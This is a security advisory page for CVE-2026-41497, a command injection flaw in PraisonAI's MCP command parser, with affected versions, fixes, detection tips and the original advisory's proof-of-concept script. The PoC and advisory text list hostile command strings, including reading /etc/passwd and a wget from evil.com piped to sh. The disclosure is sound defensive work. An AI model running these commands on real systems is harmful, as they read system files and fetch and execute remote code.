CVE-2026-41497: PraisonAI has an incomplete fix for CVE-2026-34935 - OS Command Injection
PraisonAI 4.5.148 and earlier runs whatever executable an MCP server command names. MCPHandler.parse_mcp_command() has no allowlist or argument checks, so bash, python or /bin/sh with an inline-code flag reaches subprocess execution. Anyone who can set the MCP server configuration gets code execution. Upgrade praisonai to 4.5.149.
Published Apr 17, 2026 · Updated May 12, 2026 · Analysis Oct 29, 2026
What an attacker can do
In src/praisonai/praisonai/cli/features/mcp.py, MCPHandler.parse_mcp_command() splits an MCP server command string into an executable, arguments and environment variables. The advisory says it applies none of three controls: no ALLOWED_COMMANDS list of executables such as npx or uvx, no os.path.basename() check against path-based executables, and no inspection of arguments for shell metacharacters or flags like -c and -e. The report says an earlier fix for CVE-2026-34935 was incomplete in this respect, hence this separate id.
The proof of concept shows these strings are all accepted: a python -c call that runs os.system, a node -e call that uses child_process, bash -c 'cat /etc/passwd', and /bin/sh -c with a wget piped to sh. The attacker must be able to influence the MCP server configuration, for example through a malicious plugin or a shared configuration file. The result is arbitrary command execution on the PraisonAI host with the user's rights, which opens the way to data theft and lateral movement. The CVSS vector is network with no privileges, but the advisory's own scenario needs control of configuration.
Who is affected
The praisonai package on PyPI at 4.5.148 and earlier. The advisory also gives the fix as commit 47bff65413be, with versions before it affected. Check the version:
pip show praisonaiExposure depends on whether untrusted people or plugins can supply MCP server commands to your PraisonAI install.
praisonai
- Ecosystem
- PyPI
- Affected
- <= 4.5.148
- Fixed in
- 4.5.149
- Check
pip show praisonai
How to fix it
Upgrade to 4.5.149:
pip install --upgrade praisonai==4.5.149The advisory suggests the controls a complete fix needs: a strict allowlist of executables such as npx, uvx, node and python in parse_mcp_command(), a basename check against absolute-path executables, and inspection of arguments for shell metacharacters and inline-code flags such as -c and -e. It gives no workaround. Until you upgrade, do not load MCP configuration from untrusted plugins or shared files.
How to tell if you were hit
Review MCP server definitions in your PraisonAI configuration for commands that are not the usual launchers, such as bash, sh, python -c, node -e, or an absolute path like /bin/sh. Check process trees under PraisonAI for shells, wget or curl children. Beam records the shell commands an AI agent host runs and its MCP tool calls, so a shell spawned from an MCP server definition would show up there.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
Summary
The fix for PraisonAI's MCP command handling does not add a command allowlist or argument validation to parse_mcp_command(), allowing arbitrary executables like bash, python, or /bin/sh with inline code execution flags to pass through to subprocess execution.
Affected Package
- Ecosystem: PyPI
- Package: MervinPraison/PraisonAI
- Affected versions: < 47bff65413be
- Patched versions: >= 47bff65413be
Details
The vulnerability exists in src/praisonai/praisonai/cli/features/mcp.py in the MCPHandler.parse_mcp_command() method. This function parses MCP server command strings into executable commands, arguments, and environment variables. The pre-patch version performs no validation on the executable or arguments.
The fix commit 47bff654 was intended to address command injection, but the patched parse_mcp_command() still lacks three critical controls: there is no ALLOWED_COMMANDS allowlist of permitted executables (e.g., npx, uvx, node, python), there is no os.path.basename() validation to prevent path-based executable injection, and there is no argument inspection to block shell metacharacters or dangerous subcommands.
Malicious MCP server commands such as python -c 'import os; os.system("id")', bash -c 'cat /etc/passwd', and /bin/sh -c 'wget http://evil.com/shell.sh | sh' are all accepted by parse_mcp_command() and passed directly to subprocess execution without filtering.
PoC
#!/usr/bin/env python3
"""
CVE-2026-34935 - PraisonAI command injection via parse_mcp_command()
Tests against REAL PraisonAI mcp.py from git at commit 66bd9ee2 (parent of fix 47bff654).
The pre-patch parse_mcp_command() performs NO validation on the executable or
arguments, allowing arbitrary command execution via MCP server commands.
Repo: https://github.com/MervinPraison/PraisonAI
Patch commit: 47bff65413beaa3c21bf633c1fae4e684348368c
"""
import sys
import os
import importlib.util
# Load the REAL mcp.py from the cloned PraisonAI repo at vulnerable commit
MCP_PATH = "/tmp/praisonai_real/src/praisonai/praisonai/cli/features/mcp.py"
def load_mcp_handler():
"""Load the real MCPHandler class from the vulnerable source."""
base_path = "/tmp/praisonai_real/src/praisonai/praisonai/cli/features/base.py"
spec_base = importlib.util.spec_from_file_location("features_base", base_path)
mod_base = importlib.util.module_from_spec(spec_base)
sys.modules["features_base"] = mod_base
with open(MCP_PATH) as f:
source = f.read()
source = source.replace("from .base import FlagHandler", """
class FlagHandler:
def print_status(self, msg, level="info"):
print(f"[{level}] {msg}")
""")
ns = {"__name__": "mcp_module", "__file__": MCP_PATH}
exec(compile(source, MCP_PATH, "exec"), ns)
return ns["MCPHandler"]
def main():
MCPHandler = load_mcp_handler()
handler = MCPHandler()
print(f"Source file: {MCP_PATH}")
print(f"Loaded MCPHandler from real PraisonAI source")
print()
malicious_commands = [
"python -c 'import os; os.system(\"id\")'",
"node -e 'require(\"child_process\").execSync(\"whoami\")'",
"bash -c 'cat /etc/passwd'",
"/bin/sh -c 'wget http://evil.com/shell.sh | sh'",
]
print("Testing parse_mcp_command with malicious inputs:")
print()
all_accepted = True
for cmd_str in malicious_commands:
try:
cmd, args, env = handler.parse_mcp_command(cmd_str)
print(f" Input: {cmd_str}")
print(f" Command: {cmd}")
print(f" Args: {args}")
print(f" Result: ACCEPTED (no validation)")
print()
except Exception as e:
print(f" Input: {cmd_str}")
print(f" Result: REJECTED ({e})")
all_accepted = False
print()
if all_accepted:
print("ALL malicious commands accepted without validation!")
print()
with open(MCP_PATH) as f:
source = f.read()
has_allowlist = "ALLOWED_COMMANDS" in source or "allowlist" in source.lower()
has_basename_check = "os.path.basename" in source
has_validation = has_allowlist or has_basename_check
print(f"Has command allowlist: {has_allowlist}")
print(f"Has basename check: {has_basename_check}")
print(f"Has any command validation: {has_validation}")
print()
if not has_validation:
print("COMMAND INJECTION: parse_mcp_command() has NO command validation!")
print(" - No allowlist of permitted executables")
print(" - No argument inspection")
print(" - Arbitrary commands passed directly to subprocess execution")
print()
print("VULNERABILITY CONFIRMED")
sys.exit(0)
print("Some commands were rejected - validation present")
sys.exit(1)
if __name__ == "__main__":
main()Steps to reproduce:
git clone https://github.com/MervinPraison/PraisonAI /tmp/praisonai_realcd /tmp/praisonai_real && git checkout 47bff654~1python3 poc.py
Expected output:
VULNERABILITY CONFIRMED
parse_mcp_command() has NO command validation; arbitrary commands passed directly to subprocess execution without an allowlist.Impact
An attacker who can influence MCP server configuration (e.g., via a malicious plugin or shared configuration file) can execute arbitrary system commands on the host running PraisonAI, enabling full remote code execution, data exfiltration, and lateral movement.
Suggested Remediation
Implement a strict allowlist of permitted executables (e.g., npx, uvx, node, python) in parse_mcp_command(). Validate commands against os.path.basename() to prevent absolute path injection. Inspect arguments for shell metacharacters and dangerous subcommand patterns (e.g., -c, -e flags enabling inline code execution).
Credited to decsecre583.
Questions
- How does CVE-2026-41497 relate to CVE-2026-34935?
The advisory describes it as an incomplete fix for CVE-2026-34935. The earlier fix commit 47bff654 still left parse_mcp_command() without an allowlist or argument validation.
- Which PraisonAI version fixes it?
4.5.149. Version 4.5.148 and earlier are listed as vulnerable.
- What does an attacker need?
The ability to influence MCP server configuration, such as through a malicious plugin or a shared configuration file. The advisory describes this as the impact path.
- Is it exploited in the wild?
No source says so. The record has no CISA KEV data, and the advisory includes a proof of concept that tests the parser against malicious command strings.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
More Other MCP servers and tools vulnerabilities
All Other MCP servers and tools entriesCVE-2026-102943
Dagu MCP DAG specification read bypasses path containment and workspace isolation
medium6.5Nov 10, 2026CVE-2026-102610
fast-agent: `fast-agent serve` binds HTTP to 0.0.0.0 with no authentication by default; with --shell this is unauthenticated remote command execution
medium6.4Nov 9, 2026CVE-2026-63655
tsParticles: Unbounded HTTP Request Body Buffering in @tsparticles/mcp-server Leads to Remote DoS
high7.5Nov 9, 2026CVE-2026-76892
tsParticles: Malformed JSON requests can terminate the @tsparticles/mcp-server HTTP process
high8.7Nov 9, 2026CVE-2026-76893
tsParticles: A single anonymous MCP session can monopolize HTTP mode and deny new clients
medium6.9Nov 9, 2026CVE-2026-77604
Code Graph RAG: MCP paginated read_file path traversal / arbitrary file read
high7.5Nov 9, 2026
